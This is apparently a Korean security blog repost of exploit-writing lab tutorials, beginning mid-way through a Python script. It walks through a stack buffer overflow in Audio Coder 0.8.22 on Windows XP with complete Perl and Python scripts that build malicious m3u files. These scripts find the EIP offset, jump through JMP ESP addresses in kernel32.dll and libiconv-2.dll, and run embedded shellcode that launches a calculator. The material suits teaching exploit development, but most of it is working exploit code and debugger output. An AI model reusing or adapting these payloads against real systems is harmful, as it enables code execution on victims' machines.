\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'
restorebuffer = 'A' * (buffersize - (len(junk) + len(nops) + len(shellcode)))
buffer = junk + nops + shellcode + restorebuffer
 
eip = pack('<L', 0x7C86467B) # jmp esp in kernel32.dll
dummy = 'XXXX'
# ADD ESP, 4D / ADD ESP, 4D / ADD ESP, 4D / ADD ESP, 4D / JMP ESP
preshellcode = '\x83\xc4\x4d' + '\x83\xc4\x4d' + '\x83\xc4\x4d' + '\x83\xc4\x4d' + '\xff\xe4'
dummy2 = 'D' * 256
 
file = open(filename, 'w')
file.write(buffer)
file.write(eip)
file.write(dummy)
file.write(preshellcode)
file.write(dummy2)
file.close()
 
print '[+] file(%s) created successfully' % filename

 



(17) 위 코드의 공격 원리는 아래와 같이 진행된다.



① m3u 파일을 로딩 시 스택이 첫 번째 그림처럼 데이터가 저장이 된다.

② m3u 파일 로딩이 끝나고 return하면 kernel32.dll의 jmp esp 주소로 이동한다.

③ jmp esp가 실행이 되면 세 번째 스택 그림에 첫 번째 add esp, 4d로 이동한다.

④ 4개의 add esp, 4d와 jmp esp가 실행되면 네 번째 스택 그림에 nop로 이동하여 쉘 코드를 실행한다.



(18) 실행하면 아래와 같이 성공한 것을 확인할 수 있다.






참고

KISEC에서 편역한 Exploit Writing 2 쉘코드로 점프


Written by dinger from SecurityInsight Research Group.

반응형
반응형

출처: http://regnid.tistory.com/16

 

개요

Audio Coder 0.8.22의 스택 기반 오버플로우 취약점을 찾고 exploit하여 스택 기반 오버플로우에 대한 이해를 더욱 더 알 수 있도록 할 것이다.


Exploit 대상

Audio Coder 0.8.22(https://www.exploit-db.com/exploits/26411)


실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Audio Coder 0.8.22를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Perl: m3u 파일을 생성하는 스크립트 작성

WinDbg: Audio Coder 0.8.22를 디버깅, JMP ESP 검색


1. Audio Coder 0.8.22 설치

1) Windows XP에서 'https://www.exploit-db.com/exploits/26411/'로 접속하여 Download Vulnerable App 오른쪽에 있는 버튼을 눌러 취약한 애플리케이션을 다운받는다(그리고 Download Exploit 오른쪽 부분에 Source를 누르면 아래 PoC 코드를 다운 받을 수 있다).




2) 설치한 AudioCoder를 실행시키면 아래와 같이 실행된다.




2. Post-Mortem 디버거 등록

1) 다음으로 cmd을 띄워서 WinDbg -I 명령어를 실행한다. 이 명령어는 WinDbg 디버거를 post-mortem 디버거로 등록한다는 의미이다. 즉, 오류가 발생하면 WinDbg 디버거가 자동으로 이를 포착하여 오류가 난 곳을 디버깅할 수 있게 해준다.



2) 위 명령어를 실행하면 아래와 같이 WinDbg가 default postmortem debugger으로 설치되었다는 메시지를 띄워진다.




3. 버퍼 크기 확인

1) 앞에 header로 "http://"을 넣어주고, 뒤에 "A"를 500개를 붙여서 test1.m3u 파일을 생성한다.


1
2
3
4
5
6
7
8
# C:\Exploit\test1.pl
my $file = "test1.m3u";
my $header = "http://";
my $junk = "A" x 500;
 
open($FILE, ">$file");
print $FILE $header.$junk;
close($FILE);

 


2) 위에서 생성한 test1.m3u 파일을 AudioCoder에 로딩시키면 에러가 나고, 에러가 난 코드와 레지스터들을 WinDbg를 통해 보여준다. 이 때 EIP를 보면 41414141임을 확인할 수 있다. 이는 "A" 500개가 버퍼에서 넘쳐서 Return Address를 덮었음을 의미한다.



3) 500 byte 내에 Return Address를 변경하므로 정확히 몇 번째 byte에서 Return Address를 덮어쓰는지 쉽게 확인하기 위해 Kali Linux의 pattern_create.rb 명령어(usage: ./pattern_create.rb <패턴의 개수>)를 통해 500 byte의 패턴을 생성한다.



4) 위의 패턴을 사용하여 아래와 같이 코드를 수정한다.


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# C:\Exploit\test2.pl
my $file = "test2.m3u";
my $header = "http://";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9".
           "Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9".
           "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9".
           "Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
           "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9".
           "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9".
           "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9".
           "Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
           "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9".
           "Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9".
           "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9".
           "Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9".
           "Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9".
           "An0An1An2An3An4An5An6An7An8An9".
           "Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9".
           "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
           "Aq0Aq1Aq2Aq3Aq4Aq5Aq";
 
open($FILE, ">$file");
print $FILE $header.$junk;
close($FILE);

 


5) 위의 코드로 생성된 test2.m3u 파일을 AudioCoder에 로딩시키면 EIP가 41336941로 나온다.

 



6) Kali Linux의 pattern_offset.rb 명령어(usage: ./pattern_offset.rb <offset> <생성했던 패턴의 수>)를 이용하여 위에서 나온 41336941이 몇 번째 byte의 패턴인지 확인하면 249 byte에서 Return Address를 덮는 것을 알 수 있다.




4. EIP & 스택 조작

1) 이제 몇 byte에서 Return Address를 덮어쓰는지 확인하였으므로 EIP와 스택의 데이터를 원하는 값으로 변경하도록 아래와 같이 코드를 수정한다.


 

1
2
3
4
5
6
7
8
9
10
11
12
13
# C:\Exploit\test3.pl
my $file = "test3.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = "BBBB";
my $junk2 = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ".
            "2ABCDEFGHIJKLMNOPQRSTUVWXYZ".
            "3ABCDEFGHIJKLMNOPQRSTUVWXYZ".
            "4ABCDEFGHIJKLMNOPQRSTUVWXYZ";
 
open($FILE, ">$file");
print $FILE $header.$junk.$eip.$junk2;
close($FILE);

 


2) 위의 코드에서 생성된 test3.m3u 파일을 AudioCoder에 로딩시키면 물론 에러가 나고 WinDbg가 실행이 된다. 이 때 EIP가 42424242("BBBB")이고, ESP는 0012f37c, ESP가 가리키는 주소의 데이터를 보면 junk2 전부 있음을 확인할 수 있다. 즉, EIP를 원하는 메모리 주소를 가리킬 수 있고, Shell Code를 스택에 삽입할 수 있게 되었다.




5. 쉘 코드 삽입

1) EIP를 위에서 확인한 ESP 값(0012f37c)으로 설정하고, NOP(\X90) 8 byte, Shell Code를 추가합니다. Shell Code가 EIP 바로 다음에 와도 되지만 NOP을 8개를 추가한다.


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# C:\Exploit\test4.pl
my $file = "test4.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = pack('V', 0x0012f37c);
my $nops = "\x90" x 8;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
            "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
            "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
            "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
            "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
            "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
            "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
            "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
            "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
            "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
            "\x7f\xe8\x7b\xca";
 
open($FILE, ">$file");
print $FILE $header.$junk.$eip.$nops.$shellcode;
close($FILE);

 


2) 위에서 나온 test4.m3u 파일을 다시 로딩시키면 계산기가 띄워질 것 같지만 실제로는 실행되지 않는다. 이유를 찾아보면 점프할 EIP가 ESP(0012F37C)처럼 NULL 바이트가 포함된 주소이면 안 되고, 그리고 특정 메모리로 직접 점프하는 것은 좋은 방법이 아니다. ESP 주소로 점프하기 위해서는 ESP로 점프하는 함수를 찾고, EIP가 그 함수로 점프하도록 하면 된다.



 

3) Windows에서 사용하는 DLL은 버전마다 다를 수 있기 때문에 AudioCoder 자체에서 만든 DLL을 사용합니다. 또한 DLL Relocation이 일어날 수 있기 때문에 주소가 변하지 않는 DLL을 선택한다. 여기서는 libiconv-2.dll를 사용한다.


ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01450000 014b5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01d10000 01d1f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02ca0000 02ca6000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02dc0000 02df8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01460000 014c5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01c70000 01c7f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 01d10000 01d16000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02d80000 02db8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01460000 014c5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01d10000 01d1f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02ca0000 02ca6000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02dc0000 02df8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01b20000 01b85000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 02520000 0252f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02640000 02646000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02650000 02688000   C:\Program Files\AudioCoder\SysInfo.dll

 


4) AudioCoder를 실행한 다음에 WinDbg에서 Attach한다. 그 다음에 libiconv-2.dll 에서 JMP ESP(OP Code: FF E4) 명령어를 찾는다.



 

5) 찾은 6602c104 주소를 이용하여 아래와 같이 코드를 수정한다.


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# C:\Exploit\test5.pl
my $file = "test5.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = pack('V', 0x6602c104);
my $nops = "\x90" x 8;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
            "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
            "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
            "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
            "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
            "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
            "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
            "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
            "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
            "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
            "\x7f\xe8\x7b\xca";
 
open($FILE, ">$file");
print $FILE $header.$junk.$eip.$nops.$shellcode;
close($FILE);

 


6) 위에서 생성된 test5.m3u 파일을 AudioCoder에 로딩시키면 드디어 계산기가 띄워지는 것을 확인할 수 있다.





참고

Exploit-DB(https://www.exploit-db.com/exploits/26411)


Written by dinger from SecurityInsight Research Group.

반응형

+ Recent posts